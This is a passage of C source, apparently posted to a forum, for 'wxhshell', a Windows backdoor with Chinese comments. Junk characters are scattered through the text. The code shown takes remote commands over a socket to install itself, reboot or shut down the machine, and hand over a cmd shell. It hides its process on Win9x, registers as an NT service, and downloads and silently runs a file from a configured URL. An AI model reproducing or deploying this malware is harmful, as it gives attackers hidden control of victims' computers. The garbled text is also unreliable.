  // 帮助 N>iCb:_ T;  
  case '?': { D($UbT-v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *m/u3.\  
    break; PhdL@Mr  
  } 4& WzG nK  
  // 安装 _Xe< JJvq  
  case 'i': { >sY+Y22U  
    if(Install()) 6<O]_HZ&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %-1-J<<J q  
    else $VNn`0^gF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v Cr$miZ  
    break; f4^_FK&  
    } `{;&Qcg6m  
  // 卸载 Y)5}bmL  
  case 'r': { uv d>  
    if(Uninstall()) (S{c*"}2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W u{nC  
    else .;Yei6H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AE~}^(G`  
    break; <T9m.:l  
    } G7xjW6^T  
  // 显示 wxhshell 所在路径 7]53GGNO  
  case 'p': { eeZ9 w~<  
    char svExeFile[MAX_PATH]; #J9XcD{1  
    strcpy(svExeFile,"\n\r"); dRC+|^ rSC  
      strcat(svExeFile,ExeFile); dg<fUQ  
        send(wsh,svExeFile,strlen(svExeFile),0); $*> _0{<  
    break; KL{ uhb0f  
    } &WS%sE{p_  
  // 重启 =i<(hgD  
  case 'b': { )^3655mb  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o*8 pM`uw  
    if(Boot(REBOOT)) W{2y*yqY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .w"O/6."  
    else { M6n.uho/  
    closesocket(wsh); I#%-A  
    ExitThread(0); I<f M8t.Y>  
    } &Kwt vUN{  
    break; XS@6jbLE  
    } A}O9e  
  // 关机 D7wWk ,B  
  case 'd': { e70*y'1fu  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %oQj^r!Xd  
    if(Boot(SHUTDOWN)) KO7cZME  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H2-(  
    else { bBL"F!.  
    closesocket(wsh); }3e+D  
    ExitThread(0); \6L=^q=  
    } P40eK0 e6  
    break; S d -+a  
    } *8+YR  
  // 获取shell ru Lcu]  
  case 's': { }Qo8Xps  
    CmdShell(wsh); b?,y%D) '  
    closesocket(wsh); AG%aH=TKp  
    ExitThread(0); /qr8  
    break; X[}%iEWzT  
  } ponvi42u  
  // 退出 (d\bSo$]  
  case 'x': { Vh&KfYY  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |M&/( 0  
    CloseIt(wsh); [sRQd;+  
    break; 6IH^rSUSK  
    } ':@qE\(  
  // 离开 UNae&Zir  
  case 'q': { 2sH5<5G'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .`9KB3  
    closesocket(wsh); Mf"B!WU>]B  
    WSACleanup(); stScz#!  
    exit(1); n9yxZu   
    break; ; o=mL_[  
        } Qw+">  
  } J.(_c ' r  
  } 4)z](e$  
Q2uE_w`B  
  // 提示信息 V2X(f6v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -fv.ByyA  
} J %t1T]y~  
  } jrR~V* :k  
ycN_<  
  return; I._=q  
} i)ctrdP-  
=r2d{  
// shell模块句柄  ?auiq  
int CmdShell(SOCKET sock) fy eS )  
{ ]Ea6Z  
STARTUPINFO si; z m%\L/BF  
ZeroMemory(&si,sizeof(si)); t+tGN\q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OZD/t(4?6s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pOXEM1"2A  
PROCESS_INFORMATION ProcessInfo; W*2SlS7  
char cmdline[]="cmd"; 9"e!0Q40  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y|L57F  
  return 0; zc#`qa:0  
} ]SI`fja/  
Q2o:wXvj  
// 自身启动模式 Nx"?'-3Hm  
int StartFromService(void) Gu pKM%kM  
{ M vCBgLN  
typedef struct -p }]r  
{ '1+ Bgf  
  DWORD ExitStatus; ?5D7n"jY  
  DWORD PebBaseAddress; K;~dZ  
  DWORD AffinityMask; - U|4`{PP  
  DWORD BasePriority; s] qfLC  
  ULONG UniqueProcessId; FpEdwzBb<  
  ULONG InheritedFromUniqueProcessId; ur|2FS7  
}   PROCESS_BASIC_INFORMATION; hI yfF  
%k~=iDk@  
PROCNTQSIP NtQueryInformationProcess; iDA`pemmi&  
\[BnAgsF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E4Sp^,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; AMr9rBd  
Fpb1.Iz  
  HANDLE             hProcess; |N*>K a;  
  PROCESS_BASIC_INFORMATION pbi; sYL+;(#t  
=J,:j[D(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z'm;H{xf  
  if(NULL == hInst ) return 0; 5BZ5Gl3  
d@<XR~);  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ok@5`?08  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R *U>T$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RK,~mXA  
Z7Kc`9.0|  
  if (!NtQueryInformationProcess) return 0; 5R4 dN=L*1  
9M6&+1XE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8447hb?W$  
  if(!hProcess) return 0; @RC_Ie=#)  
A U](pXK;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; LakP'P6`E  
lxeolDl  
  CloseHandle(hProcess); t?s1@}G^  
A[o Ri}=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n1QO/1} :  
if(hProcess==NULL) return 0; >\e11OU0Gy  
>y?$aJ8ZV  
HMODULE hMod; <K43f#%  
char procName[255]; Bn.8wMB  
unsigned long cbNeeded; /1Eg6hf9B  
8WvT0q>]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @!S5FOXipZ  
|qBo*OcO  
  CloseHandle(hProcess); '&`Zy pq  
K \O,AE  
if(strstr(procName,"services")) return 1; // 以服务启动 qnOAIP:0  
0wx`y$~R  
  return 0; // 注册表启动 4x:fOhtP  
} ?h {&  
0@ -LV:jU  
// 主模块 ` p)#!  
int StartWxhshell(LPSTR lpCmdLine) k,?k37%T]  
{ _jtBU  
  SOCKET wsl; milU,!7J  
BOOL val=TRUE; z:w7e0  
  int port=0; "Kqe4$  
  struct sockaddr_in door; Nz m 7E]  
mGIS[_dcs  
  if(wscfg.ws_autoins) Install(); G  B15  
j9Lc2'  
port=atoi(lpCmdLine); n7 S[ F3  
3V-pLs|  
if(port<=0) port=wscfg.ws_port; $I_aHhKt  
0j*8|{|  
  WSADATA data; WPPmh~:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6s6[sUf=l&  
qLR)>$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   JLjx4B\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sV-9 xh)i  
  door.sin_family = AF_INET; LB>!%Vx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~ ^K[pA ?  
  door.sin_port = htons(port); GR"Jk[W9  
!nTq"d%(W  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~($h9* \  
closesocket(wsl); 6`4=!ZfI  
return 1; j}y"  
} MQhL>oQ  
#q%&,;4  
  if(listen(wsl,2) == INVALID_SOCKET) { 1:8ZS  
closesocket(wsl); "]sr4Jg=  
return 1; zgLm~  
} P5[.2y_qM  
  Wxhshell(wsl); >]Y`-*vw&  
  WSACleanup(); 5R qkAC  
r t f}4.  
return 0; 291v R]  
<jxTI%'f59  
} Up8#Nz T  
NKRNEq!  
// 以NT服务方式启动 LdA&F& pI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gzeG5p  
{ Ra.<D.  
DWORD   status = 0; <CeDIX t  
  DWORD   specificError = 0xfffffff; aaLT%  
IXg0g<JZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4PNl3N3,n  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; xK /NzVt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D{ c`H}/`  
  serviceStatus.dwWin32ExitCode     = 0; ibEQ52  
  serviceStatus.dwServiceSpecificExitCode = 0; q")}vN  
  serviceStatus.dwCheckPoint       = 0; }E*#VA0/nY  
  serviceStatus.dwWaitHint       = 0; wL~ dZ! ,J  
GQq2;%RrF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lE /"  
  if (hServiceStatusHandle==0) return; JPmW0wM  
h T4fKc7P  
status = GetLastError(); u"nyx0<  
  if (status!=NO_ERROR) tlc&Wx  
{ !tN]OQ)'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |XPT2eQ{  
    serviceStatus.dwCheckPoint       = 0; QH;1*  
    serviceStatus.dwWaitHint       = 0; ;|66AIwDe  
    serviceStatus.dwWin32ExitCode     = status; 68d(6?OgW  
    serviceStatus.dwServiceSpecificExitCode = specificError; \!`*F :7]-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gJ:Z7b  
    return; jytfGE:  
  } ZfS-W&6Z  
iGM-#{5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; YYN= `ST  
  serviceStatus.dwCheckPoint       = 0; uYF_sf  
  serviceStatus.dwWaitHint       = 0; 7n5 bI\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Drc\$<9c@  
} +tl&Jjdm  
}]kzj0m  
// 处理NT服务事件,比如:启动、停止 T~_+\w  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^[!LU  
{ K@6$|.bc  
switch(fdwControl) H+t^eg88  
{ flnoK%wi  
case SERVICE_CONTROL_STOP: V 9][a  
  serviceStatus.dwWin32ExitCode = 0; // g~1(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Vc}m_ T]O  
  serviceStatus.dwCheckPoint   = 0; CKyX  Z  
  serviceStatus.dwWaitHint     = 0; )~s(7 4`}  
  { os"o0?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Busxg?=  
  } 5) nm6sf  
  return; 1: XT r  
case SERVICE_CONTROL_PAUSE: &?v^xAr?B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +!CG'qyN>  
  break; :(N3s9:vz  
case SERVICE_CONTROL_CONTINUE: x%5n&B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; aOETmsw  
  break; mK fT4t  
case SERVICE_CONTROL_INTERROGATE: u+kXJ  
  break; a8Nl' f*0  
}; eE+zL ~CE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4cl}ouG  
} ]& jXD=a"  
|s+y]3-_  
// 标准应用程序主函数 C&D!TR!K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RKx" }<#+  
{ 5f jmr  
Yc&yv  
// 获取操作系统版本 b~z1%?  
OsIsNt=GetOsVer(); ,aU_bve  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^3^n|T7le  
"oz qfh  
  // 从命令行安装 ^g"G1,[%w  
  if(strpbrk(lpCmdLine,"iI")) Install(); A7C+-N  
T32C=7  
  // 下载执行文件 +' QX`  
if(wscfg.ws_downexe) { ez@`&cJ7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ML9ZS @  
  WinExec(wscfg.ws_filenam,SW_HIDE); $~75/  
} g/)mbL>=  
]%!:'#  
if(!OsIsNt) { M| :wC  
// 如果时win9x,隐藏进程并且设置为注册表启动 _Y?p =;  
HideProc(); nn5tOV}QE  
StartWxhshell(lpCmdLine); eF823cH2x_  
} *0^!%Y'/4  
else T8bk\\Od  
  if(StartFromService()) 1k EXTs=,  
  // 以服务方式启动 IVjH.BzH9  
  StartServiceCtrlDispatcher(DispatchTable); x* ?-KS|  
else Rt}H.D #  
  // 普通方式启动 zW+X5yK  
  StartWxhshell(lpCmdLine); m0DD|7}+  
KmG*`Es  
return 0; W1dpKv  
}
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只看该作者 1 发表于: 2006-10-10
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